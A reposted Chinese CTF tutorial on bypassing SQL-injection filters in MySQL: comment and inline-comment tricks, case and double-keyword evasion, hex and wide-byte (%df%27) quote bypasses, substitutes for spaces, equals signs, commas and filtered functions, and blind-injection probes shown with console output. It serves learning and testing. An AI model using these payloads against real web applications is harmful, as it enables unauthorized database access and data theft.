【转】sql注入绕过方法总结

前言

SQL在CTF每一次比赛中基本上都会出现，所以有了这一篇总结，防忘，最后更新于2018/10/11。

简而言之：SQL注入用户输入的数据变成了代码被执行

    string sql = "select id,no from user where id=" + id;

我们希望用户输入的 id 的值，仅仅是一个字符串，传入数据库执行，但是当输入了： 2 or 1=1 时，其中的 or 1=1 是作为了 sql语句来执行的。

sql注入绕过

注释符号绕过

常用的注释符有

-- 注释内容
# 注释内容
/*注释内容*/
;

实例

mysql> select * from users -- where id = 1;
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |

mysql> select * from users # where id = 2;
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |

mysql> select * from users where id = 3 /*+1*/
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+
1 row in set (0.00 sec)

大小写绕过

常用于 waf的正则对大小写不敏感的情况，一般都是题目自己故意这样设计。
例如：waf过滤了关键字select，可以尝试使用Select等绕过。

mysql> select * from users where id = -1 union select 1,2,3
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

#大小写绕过
mysql> select * from users where id = -1 union Select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中，这样这些语句如果在其它数据库中是不会被执行，但在MYSQL中会执行。

mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

双写关键字绕过

在某一些简单的waf中，将关键字select等只使用replace()函数置换为空，这时候可以使用双写关键字绕过。例如select变成seleselectct，在经过waf的处理之后又变成select，达到绕过的要求。

特殊编码绕过

十六进制绕过

mysql> select * from users where username = 0x7465737431;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

ascii编码绕过
Test 等价于
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
tip:好像新版mysql不能用了

空格过滤绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

实例

mysql> select/**/*/**/from/**/users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
+----+----------+----------+

#注意括号中不能含有*
mysql> select(id)from(users);
+----+
| id |
+----+
|  1 |
|  3 |

mysql> select
    -> *
    -> from 
    -> users
    -> where 
    -> id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

mysql> select`id`from`users`where`id`=1;
+----+
| id |
+----+
|  1 |
+----+

过滤or and xor not 绕过

and = &&
or = ||
xor = | # 异或
not = !

过滤等号=绕过

不加通配符的like执行的效果和=一致，所以可以用来绕过。

正常加上通配符的like：

mysql> select * from users where username like "test%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  3 | test3    | pass1    |
+----+----------+----------+

不加上通配符的like可以用来取代=：

mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

rlike:模糊匹配，只要字段的值中存在要查找的部分就会被选择出来
用来取代=时，rlike的用法和上面的like一样，没有通配符效果和=一样

mysql> select * from users where id rlike 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

使用大小于号来绕过

mysql> select * from users where id > 1 and id < 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | user2    | pass1    |
+----+----------+----------+

<> 等价于 !=
所以在前面再加一个!结果就是等号了

mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

等号绕过也可以使用strcmp(str1,str2)函数、between关键字等，具体可以参考后面的过滤大小于号绕过

过滤大小于号绕过

在sql盲注中，一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话，那就凉凉。怎么会呢，可以使用以下的关键字来绕过

greatest(n1, n2, n3…):返回n中的最大值

mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

least(n1,n2,n3…):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同，则返回STRCMP()，若根据当前分类次序，第一个参数小于第二个，则返回 -1，其它情况返回 1

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116);
Empty set (0.00 sec)

in关键字

mysql> select * from users where id = 1 and substr(username,1,1) in ('t');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where id = 1 and substr(username,1,1) in ('y');
Empty set (0.00 sec)

between a and b:范围在a-b之间

mysql> select * from users where id between 1 and 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b';
Empty set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

使用between a and b判等

mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

过滤引号绕过

使用十六进制

select column_name  from information_schema.tables where table_name=0x7573657273;

宽字节

常用在web应用使用的字符集为GBK时，并且过滤了引号，就可以试试宽字节。

# 过滤单引号时
%bf%27 %df%27 %aa%27

%df\’ = %df%5c%27=縗’

过滤逗号绕过

sql盲注时常用到以下的函数：

substr()
- substr(string, pos, len):从pos开始，取长度为len的子串
- substr(string, pos):从pos开始，取到string的最后
substring()
- 用法和substr()一样
mid()
- 用法和substr()一样，但是mid()是为了向下兼容VB6.0，已经过时，以上的几个函数的pos都是从1开始的
left()和right()
- left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
limit
- limit pos len:在返回项中从pos开始去len个返回值，pos的从0开始
ascii()和char()
- ascii(char):把char这个字符转为ascii码
- char(ascii_int):和ascii()的作用相反，将ascii码转字符

回到正题，如果waf过滤了逗号，并且只能盲注（盲注基本离不开逗号啊喂），在取子串的几个函数中，有一个替代逗号的方法就是使用from pos for len，其中pos代表从pos个开始读取len长度的子串
例如在substr()等函数中，常规的写法是

mysql> select substr("string",1,3);
+----------------------+
| substr("string",1,3) |
+----------------------+
| str                  |
+----------------------+

如果过滤了逗号，可以这样使用from pos for len来取代

mysql> select substr("string" from 1 for 3);
+-------------------------------+
| substr("string" from 1 for 3) |
+-------------------------------+
| str                           |
+-------------------------------+
1 row in set (0.00 sec)

在sql盲注中，如果过滤逗号，以下参考下面的写法绕过

mysql> select ascii(substr(database() from 1 for 1)) > 120;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 120 |
+----------------------------------------------+
|                                            0 |
+----------------------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database() from 1 for 1)) > 110;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 110 |
+----------------------------------------------+
|                                            1 |
+----------------------------------------------+

也可使用join关键字来绕过

mysql> select * from users  union select * from (select 1)a join (select 2)b join(select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
|  1 | 2        | 3        |
+----+----------+----------+

其中的

union select * from (select 1)a join (select 2)b join(select 3)c

等价于

union select 1,2,3

使用like关键字
适用于substr()等提取子串的函数中的逗号

mysql> select ascii(substr(user(),1,1))=114;
+-------------------------------+
| ascii(substr(user(),1,1))=114 |
+-------------------------------+
|                             1 |
+-------------------------------+

mysql> select user() like "r%";
+------------------+
| user() like "r%" |
+------------------+
|                1 |
+------------------+

mysql> select user() like "t%";
+------------------+
| user() like "t%" |
+------------------+
|                0 |
+------------------+

使用offset关键字
适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2

mysql> select * from users limit 2,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+

mysql> select * from users limit 1 offset 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+

过滤函数绕过

sleep() -->benchmark()

mysql> select 12,23 and sleep(1);
+----+-----------------+
| 12 | 23 and sleep(1) |
+----+-----------------+
| 12 |               0 |
+----+-----------------+
1 row in set (1.00 sec)

# MySQL有一个内置的BENCHMARK()函数，可以测试某些特定操作的执行速度。 
参数可以是需要执行的次数和表达式。第一个参数是执行次数，第二个执行的表达式
mysql> select 12,23 and benchmark(1000000000,1);
+----+--------------------------------+
| 12 | 23 and benchmark(1000000000,1) |
+----+--------------------------------+
| 12 |                              0 |
+----+--------------------------------+
1 row in set (4.61 sec)

ascii()–>hex()、bin()
替代之后再使用对应的进制转string即可
group_concat()–>concat_ws()

mysql> select group_concat("str1","str2");
+-----------------------------+
| group_concat("str1","str2") |
+-----------------------------+
| str1str2                    |
+-----------------------------+
1 row in set (0.00 sec)

#第一个参数为分隔符
mysql> select concat_ws(",","str1","str2");
+------------------------------+
| concat_ws(",","str1","str2") |
+------------------------------+
| str1,str2                    |
+------------------------------+

substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
user() --> @@user、datadir–>@@datadir
ord()–>ascii():这两个函数在处理英文时效果一样，但是处理中文等时不一致。